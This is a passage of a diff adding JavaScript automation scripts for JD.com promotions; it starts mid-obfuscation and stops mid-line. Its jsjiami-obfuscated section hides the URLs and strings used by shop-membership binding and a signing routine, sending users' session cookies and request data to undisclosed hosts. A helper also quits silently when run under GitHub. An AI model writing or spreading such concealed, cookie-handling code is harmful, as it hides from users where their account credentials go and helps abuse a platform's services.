_0x40d53a(++_0x46353a,_0x546569)>>_0x46353a^_0x546569;}(_0x21a9,0x14f,0x14f00),_0x21a9){_0xody_=_0x21a9['length']^0x14f;};function _0x4256(_0x37ce85,_0x3afc5e){_0x37ce85=~~'0x'['concat'](_0x37ce85['slice'](0x1));var _0x41651c=_0x21a9[_0x37ce85];if(_0x4256['MKuUae']===undefined&&'‮'['length']===0x1){(function(){var _0x3c74ed=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x5f3c49='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x3c74ed['atob']||(_0x3c74ed['atob']=function(_0x50a810){var _0x476d85=String(_0x50a810)['replace'](/=+$/,'');for(var _0x495c45=0x0,_0x49704b,_0x20cf64,_0x5333fa=0x0,_0x2e98f0='';_0x20cf64=_0x476d85['charAt'](_0x5333fa++);~_0x20cf64&&(_0x49704b=_0x495c45%0x4?_0x49704b*0x40+_0x20cf64:_0x20cf64,_0x495c45++%0x4)?_0x2e98f0+=String['fromCharCode'](0xff&_0x49704b>>(-0x2*_0x495c45&0x6)):0x0){_0x20cf64=_0x5f3c49['indexOf'](_0x20cf64);}return _0x2e98f0;});}());_0x4256['eLELzE']=function(_0x3a6667){var _0x1c7184=atob(_0x3a6667);var _0x5ad343=[];for(var _0x5e8459=0x0,_0x5919a8=_0x1c7184['length'];_0x5e8459<_0x5919a8;_0x5e8459++){_0x5ad343+='%'+('00'+_0x1c7184['charCodeAt'](_0x5e8459)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x5ad343);};_0x4256['iRyKaC']={};_0x4256['MKuUae']=!![];}var _0x282412=_0x4256['iRyKaC'][_0x37ce85];if(_0x282412===undefined){_0x41651c=_0x4256['eLELzE'](_0x41651c);_0x4256['iRyKaC'][_0x37ce85]=_0x41651c;}else{_0x41651c=_0x282412;}return _0x41651c;};function getShopOpenCardInfo(_0x3df9c7,_0x4fc845){var _0xf2478f={'VaQOH':function(_0x4ef1cc,_0x2c9e33){return _0x4ef1cc===_0x2c9e33;},'AspEX':_0x4256('‫0'),'idwAF':_0x4256('‮1'),'yjVGn':function(_0x1e0109){return _0x1e0109();},'bMixu':function(_0x392d38,_0x12cb32){return _0x392d38(_0x12cb32);},'QxmEc':_0x4256('‮2'),'kKzDJ':_0x4256('‮3'),'PHirc':_0x4256('‮4'),'nyavS':_0x4256('‫5'),'QQsoN':function(_0x128da5,_0x26f259){return _0x128da5(_0x26f259);},'vTjmi':_0x4256('‮6')};let _0x6d40f6={'url':_0x4256('‮7')+_0xf2478f[_0x4256('‫8')](encodeURIComponent,JSON[_0x4256('‫9')](_0x3df9c7))+_0x4256('‮a'),'headers':{'Host':_0xf2478f[_0x4256('‮b')],'Accept':_0xf2478f[_0x4256('‮c')],'Connection':_0xf2478f[_0x4256('‮d')],'Cookie':cookie,'User-Agent':_0x4256('‮e')+$[_0x4256('‮f')]+_0x4256('‫10')+$[_0x4256('‫11')]+_0x4256('‮12'),'Accept-Language':_0xf2478f[_0x4256('‫13')],'Referer':_0x4256('‫14')+_0x4fc845+_0x4256('‮15')+_0xf2478f[_0x4256('‫16')](encodeURIComponent,$[_0x4256('‮17')]),'Accept-Encoding':_0xf2478f[_0x4256('‮18')]}};return new Promise(_0x12e7b1=>{$[_0x4256('‮19')](_0x6d40f6,(_0x1659fe,_0x43d45e,_0x1c81e1)=>{try{if(_0x1659fe){console[_0x4256('‫1a')](_0x1659fe);}else{res=JSON[_0x4256('‮1b')](_0x1c81e1);if(res[_0x4256('‮1c')]){if(_0xf2478f[_0x4256('‫1d')](_0xf2478f[_0x4256('‫1e')],_0xf2478f[_0x4256('‫1f')])){console[_0x4256('‫1a')](_0x1659fe);}else{if(res[_0x4256('‫20')][_0x4256('‫21')]){$[_0x4256('‮22')]=res[_0x4256('‫20')][_0x4256('‫21')][0x0][_0x4256('‫23')][_0x4256('‫24')];}}}}}catch(_0x496f91){console[_0x4256('‫1a')](_0x496f91);}finally{_0xf2478f[_0x4256('‫25')](_0x12e7b1);}});});}async function bindWithVender(_0x2c96fa,_0xab699c){var _0x23d2c7={'HtYLC':function(_0x371e42,_0x50fb75){return _0x371e42!==_0x50fb75;},'ToFqJ':_0x4256('‮26'),'CGiQN':_0x4256('‮27'),'gnGvV':_0x4256('‮28'),'bLIGY':_0x4256('‮29'),'dNwAH':function(_0x32fa43,_0x59c034){return _0x32fa43===_0x59c034;},'fiuNC':_0x4256('‫2a'),'mPeYF':_0x4256('‫2b'),'VHvrP':function(_0x3e57a3){return _0x3e57a3();},'GcYNb':function(_0x4252a7,_0x1cba3b,_0x224847){return _0x4252a7(_0x1cba3b,_0x224847);},'YVWLB':_0x4256('‫2c'),'EvCgp':_0x4256('‮2'),'cWtHo':_0x4256('‮3'),'PoGAG':_0x4256('‮4'),'NnHlP':_0x4256('‫5'),'oHwxo':function(_0xac78fa,_0x5f421d){return _0xac78fa(_0x5f421d);},'EopkE':_0x4256('‮6')};return h5st=await _0x23d2c7[_0x4256('‫2d')](geth5st,_0x23d2c7[_0x4256('‮2e')],_0x2c96fa),opt={'url':_0x4256('‮2f')+h5st,'headers':{'Host':_0x23d2c7[_0x4256('‮30')],'Accept':_0x23d2c7[_0x4256('‮31')],'Connection':_0x23d2c7[_0x4256('‫32')],'Cookie':cookie,'User-Agent':_0x4256('‮e')+$[_0x4256('‮f')]+_0x4256('‫10')+$[_0x4256('‫11')]+_0x4256('‮12'),'Accept-Language':_0x23d2c7[_0x4256('‫33')],'Referer':_0x4256('‫14')+_0xab699c+_0x4256('‫34')+_0x23d2c7[_0x4256('‮35')](encodeURIComponent,$[_0x4256('‮17')]),'Accept-Encoding':_0x23d2c7[_0x4256('‮36')]}},new Promise(_0x2ccbf6=>{var _0x5f13ea={'HgljA':function(_0x23895a,_0x34fd84){return _0x23d2c7[_0x4256('‫37')](_0x23895a,_0x34fd84);},'XJJKF':_0x23d2c7[_0x4256('‮38')],'YINOP':_0x23d2c7[_0x4256('‮39')],'QnthR':function(_0xa5dab0,_0xe47757){return _0x23d2c7[_0x4256('‫37')](_0xa5dab0,_0xe47757);},'atTgS':_0x23d2c7[_0x4256('‮3a')],'wKkBb':_0x23d2c7[_0x4256('‫3b')],'DNeCe':function(_0x1e1eef,_0x173f3a){return _0x23d2c7[_0x4256('‮3c')](_0x1e1eef,_0x173f3a);},'bVGMS':_0x23d2c7[_0x4256('‮3d')],'iddrf':_0x23d2c7[_0x4256('‮3e')],'XaRSN':function(_0x299f58){return _0x23d2c7[_0x4256('‮3f')](_0x299f58);}};$[_0x4256('‮19')](opt,(_0x160cca,_0x58082c,_0x285199)=>{try{if(_0x5f13ea[_0x4256('‫40')](_0x5f13ea[_0x4256('‫41')],_0x5f13ea[_0x4256('‮42')])){if(_0x160cca){console[_0x4256('‫1a')](_0x160cca);}else{if(_0x5f13ea[_0x4256('‮43')](_0x5f13ea[_0x4256('‮44')],_0x5f13ea[_0x4256('‮45')])){res=JSON[_0x4256('‮1b')](_0x285199);$[_0x4256('‮46')]=res;if(res[_0x4256('‮1c')]){console[_0x4256('‫1a')](res);$[_0x4256('‮47')]=res[_0x4256('‫48')];}}else{res=JSON[_0x4256('‮1b')](_0x285199);$[_0x4256('‮46')]=res;if(res[_0x4256('‮1c')]){console[_0x4256('‫1a')](res);$[_0x4256('‮47')]=res[_0x4256('‫48')];}}}}else{if(res[_0x4256('‫20')][_0x4256('‫21')]){$[_0x4256('‮22')]=res[_0x4256('‫20')][_0x4256('‫21')][0x0][_0x4256('‫23')][_0x4256('‫24')];}}}catch(_0xcd2b24){if(_0x5f13ea[_0x4256('‫49')](_0x5f13ea[_0x4256('‫4a')],_0x5f13ea[_0x4256('‫4b')])){console[_0x4256('‫1a')](res);$[_0x4256('‮47')]=res[_0x4256('‫48')];}else{console[_0x4256('‫1a')](_0xcd2b24);}}finally{_0x5f13ea[_0x4256('‫4c')](_0x2ccbf6);}});});}function geth5st(_0x5156f4,_0x1f2f35){var _0x5dafa2={'fRAbw':function(_0x1b8ec1,_0x52f782){return _0x1b8ec1(_0x52f782);},'zJuec':function(_0x28cb88){return _0x28cb88();},'vwBQV':function(_0x21d883,_0x11ae17){return _0x21d883===_0x11ae17;},'gUNFo':_0x4256('‮4d'),'LgLgr':_0x4256('‫4e'),'UDKTE':function(_0x56a740,_0xbb8ea3){return _0x56a740===_0xbb8ea3;},'qTUhi':_0x4256('‫4f'),'EonGi':_0x4256('‮50'),'cfCjv':_0x4256('‮51'),'erEhF':_0x4256('‮52'),'cdzqY':_0x4256('‫53'),'AbekO':_0x4256('‮54'),'LYBpr':function(_0x3a5480,_0x2fac2b){return _0x3a5480===_0x2fac2b;},'qzJZi':_0x4256('‫55'),'bFqsN':_0x4256('‮56'),'AixsM':function(_0x2e5715,_0x38e4ee){return _0x2e5715*_0x38e4ee;},'doxtn':_0x4256('‮57')};return new Promise(async _0x4ffd06=>{var _0x1abb9e={'IFeev':function(_0x3d8588,_0xd1f4b9){return _0x5dafa2[_0x4256('‮58')](_0x3d8588,_0xd1f4b9);},'Nslse':function(_0x57fb1a){return _0x5dafa2[_0x4256('‮59')](_0x57fb1a);},'agZUz':function(_0x4c58ed,_0x3a8675){return _0x5dafa2[_0x4256('‫5a')](_0x4c58ed,_0x3a8675);},'uUCIb':_0x5dafa2[_0x4256('‮5b')],'OjjKH':_0x5dafa2[_0x4256('‮5c')],'sLxrU':function(_0x328089,_0x2dbd54){return _0x5dafa2[_0x4256('‮5d')](_0x328089,_0x2dbd54);},'eDBIJ':_0x5dafa2[_0x4256('‫5e')]};let _0x54316b={'appId':_0x5dafa2[_0x4256('‫5f')],'body':{'appid':_0x5dafa2[_0x4256('‮60')],'functionId':_0x5156f4,'body':JSON[_0x4256('‫9')](_0x1f2f35),'clientVersion':_0x5dafa2[_0x4256('‫61')],'client':'H5','activityId':_0x5dafa2[_0x4256('‮62')]},'callbackAll':!![]};let _0x4137b8='';let _0x43a862=[_0x5dafa2[_0x4256('‮63')]];if(process[_0x4256('‮64')][_0x4256('‫65')]){_0x4137b8=process[_0x4256('‮64')][_0x4256('‫65')];}else{if(_0x5dafa2[_0x4256('‮66')](_0x5dafa2[_0x4256('‮67')],_0x5dafa2[_0x4256('‮68')])){_0x1abb9e[_0x4256('‫69')](_0x4ffd06,_0x54316b);}else{_0x4137b8=_0x43a862[Math[_0x4256('‫6a')](_0x5dafa2[_0x4256('‮6b')](Math[_0x4256('‫6c')](),_0x43a862[_0x4256('‫6d')]))];}}let _0x476228={'url':_0x4256('‮6e'),'body':JSON[_0x4256('‫9')](_0x54316b),'headers':{'Host':_0x4137b8,'Content-Type':_0x5dafa2[_0x4256('‮6f')]},'timeout':_0x5dafa2[_0x4256('‮6b')](0x1e,0x3e8)};$[_0x4256('‫70')](_0x476228,async(_0x4d4e22,_0x10528c,_0x54316b)=>{var _0x491948={'rSILU':function(_0x5e4dc6){return _0x1abb9e[_0x4256('‮71')](_0x5e4dc6);}};try{if(_0x1abb9e[_0x4256('‫72')](_0x1abb9e[_0x4256('‮73')],_0x1abb9e[_0x4256('‮74')])){console[_0x4256('‫1a')](error);}else{if(_0x4d4e22){if(_0x1abb9e[_0x4256('‮75')](_0x1abb9e[_0x4256('‫76')],_0x1abb9e[_0x4256('‫76')])){_0x54316b=await geth5st[_0x4256('‮77')](this,arguments);}else{_0x491948[_0x4256('‫78')](_0x4ffd06);}}else{}}}catch(_0x256571){$[_0x4256('‫79')](_0x256571,_0x10528c);}finally{_0x1abb9e[_0x4256('‫69')](_0x4ffd06,_0x54316b);}});});};_0xody='jsjiami.com.v6'; +!function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_cash.js b/jd_cash.js new file mode 100644 index 0000000..d35914a --- /dev/null +++ b/jd_cash.js @@ -0,0 +1,607 @@ +/* +签到领现金,每日2毛~5毛 +可互助,助力码每日不变,只变日期 +活动入口:京东APP搜索领现金进入 +更新时间:2021-06-07 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#签到领现金 +2 0-23/4 * * * jd_cash.js, tag=签到领现金, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +================Loon============== +[Script] +cron "2 0-23/4 * * *" script-path=jd_cash.js,tag=签到领现金 + +===============Surge================= +签到领现金 = type=cron,cronexp="2 0-23/4 * * *",wake-system=1,timeout=3600,script-path=jd_cash.js + +============小火箭========= +签到领现金 = type=cron,script-path=jd_cash.js, cronexpr="2 0-23/4 * * *", timeout=3600, enable=true + */ +const $ = new Env('签到领现金'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +let helpAuthor = true; +const randomCount = $.isNode() ? 5 : 5; +let cash_exchange = false;//是否消耗2元红包兑换200京豆,默认否 +const inviteCodes = [] +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +let allMessage = ''; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + // await requireConfig() + + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdCash() + } + } + if (allMessage) { + if ($.isNode() && (process.env.CASH_NOTIFY_CONTROL ? process.env.CASH_NOTIFY_CONTROL === 'false' : !!1)) await notify.sendNotify($.name, allMessage); + $.msg($.name, '', allMessage); + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function jdCash() { + $.signMoney = 0; + await mob_sign() + await mob_home() + await appindex() + await index() + + $.exchangeBeanNum = 0; + cash_exchange = $.isNode() ? (process.env.CASH_EXCHANGE ? process.env.CASH_EXCHANGE : `${cash_exchange}`) : ($.getdata('cash_exchange') ? $.getdata('cash_exchange') : `${cash_exchange}`); + + await appindex(true) +} + +async function appindex(info=false) { + let functionId = "cash_homePage" + let sign = 